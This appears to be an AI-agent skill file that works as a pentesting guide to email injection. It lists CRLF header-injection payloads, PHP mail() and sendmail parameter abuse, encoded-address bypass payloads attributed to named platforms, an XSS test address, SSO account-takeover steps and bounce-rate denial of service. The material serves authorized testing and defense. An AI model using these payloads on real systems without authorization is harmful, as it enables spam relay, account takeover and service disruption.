email-injection-pentest

name

email-injection-pentest

description

How to identify and test email injection vulnerabilities in web applications. Use this skill whenever the user mentions email injection, header injection, PHP mail exploitation, email bypass techniques, SSO email attacks, or any email-related security testing. This includes testing for Cc/Bcc injection, To header manipulation, subject/body injection, PHP mail() function abuse, email name bypass techniques, and third-party SSO email attacks.

Email Injection Pentesting

A comprehensive guide for identifying and testing email injection vulnerabilities in web applications.

Quick Reference

Header Injection Payloads

Cc/Bcc Injection (after sender):

From:[e-mail]%0ACc:[e-mail],%0ABcc:[e-mail]

To Header Injection:

From:[e-mail]%0ATo:[e-mail]

Subject Injection:

From:[e-mail]%0ASubject:This is%20Fake%20Subject

Body Injection (two-line feed):

From:[e-mail]%0A%0AMy%20New%20Fake%20Message.

Testing Methodology

1. Identify Email Injection Points

Look for these common vectors:

• Contact forms with email fields
• Password reset functionality
• User registration with email verification
• Newsletter subscription forms
• Any form that sends emails on submission

2. Test Header Injection

Step 1: Inject Cc/Bcc headers

• Add %0ACc:[e-mail] after the email field value
• Add %0ABcc:[e-mail] to test blind injection
• Monitor attacker email for received messages

Step 2: Inject To header

• Add %0ATo:[e-mail] to send copy to attacker
• Original recipient still receives email

Step 3: Test Subject/Body manipulation

• Use %0ASubject: to inject fake subjects
• Use %0A%0A (two CRLFs) to inject body content

3. PHP mail() Function Exploitation

The PHP mail() function signature:

mail($to, $subject, $message, $additional_headers, $additional_parameters)

$additional_parameters exploitation:

• This parameter is passed to sendmail command line
• Sanitized with escapeshellcmd() but still exploitable
• Can inject sendmail-specific parameters

MTA-specific attacks:

• Sendmail, Postfix, Exim have different parameter sets
• Some allow file leakage or command execution
• Research the specific MTA for targeted attacks

4. Email Name Injection Techniques

Ignored Characters:

• + and - symbols (tagging)
• {} in rare cases
• Comments in parentheses ()

Examples:

[e-mail] → [e-mail]
john.doe(intigriti)@example.com → [e-mail]

IP Address Domains:

john.doe@[127.0.0.1]
john.doe@[IPv6:2001:db8::1]

Email Encoding Bypass:

Format: =?encoding?method?encoded_data?=domain.com

Common encodings:

# Quoted-printable UTF-8
=?utf-8?q?=61=62=63?=[e-mail] → abc@[e-mail]

# Base64 UTF-8
=?utf-8?b?QUJD?=[e-mail] → ABC@[e-mail]

# Punycode
x@xn--svg/-9x6 → x@<svg/

Known Working Payloads:

Platform	Payload	Result
GitHub	=?x?q?collab=40psres.net=3e=00?=[e-mail]	Sends to [e-mail]
Zendesk	"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com	Sends to [e-mail]
GitLab	=?x?q?collab=40psres.net_?=[e-mail]	Sends to [e-mail]

5. Third-Party SSO Attacks

XSS via Email:

• Some services (GitHub, Salesforce) allow XSS payloads in email addresses
• If target service doesn't sanitize, XSS can occur
• Test with: <script>alert(1)</script>@domain.com

Account Takeover:

• Create account on SSO provider without email verification
• Use that account to login to trusting services
• Salesforce is known to allow this (shows verification status)

6. Reply-To Abuse

Technique:

From: company.com
Reply-To: attacker.com

Impact:

• Automatic replies (out of office, bounces) go to attacker
• Can harvest internal email addresses
• May receive sensitive auto-generated responses

7. Hard Bounce Rate Manipulation

AWS SES Threshold: 10% hard bounce rate

What is a hard bounce:

• Email returned due to invalid/non-existent recipient
• Domain doesn't exist
• Recipient server refuses email

Impact:

• Exceeding 10% triggers service suspension
• Can be used for denial-of-service against email services
• Monitor bounce rates in email delivery services

Tooling

Burp Suite

• Turbo Intruder: Fuzz email format combinations
• Hackvertor: Create email splitting attacks

Manual Testing

• Use URL encoding for special characters
• Test with various MTA configurations
• Monitor attacker email addresses for results

Reporting

When documenting email injection findings:

1. Vulnerability Type: Header injection, name injection, SSO abuse, etc.
2. Impact: Information disclosure, account takeover, spam relay, etc.
3. Proof of Concept: Include exact payload and observed behavior
4. Affected Endpoints: List all vulnerable forms/parameters
5. Remediation: Input validation, parameterized email functions, allowlists

References

• InfoSec Institute - Email Injection
• Pwning PHP Mail Function
• PortSwigger - Splitting the Email Atom
• AWS SES Bounce Handling

Safety Notes

• Only test systems you have authorization to assess
• Use controlled test environments when possible
• Monitor for unintended email delivery to real users
• Document all testing for compliance purposes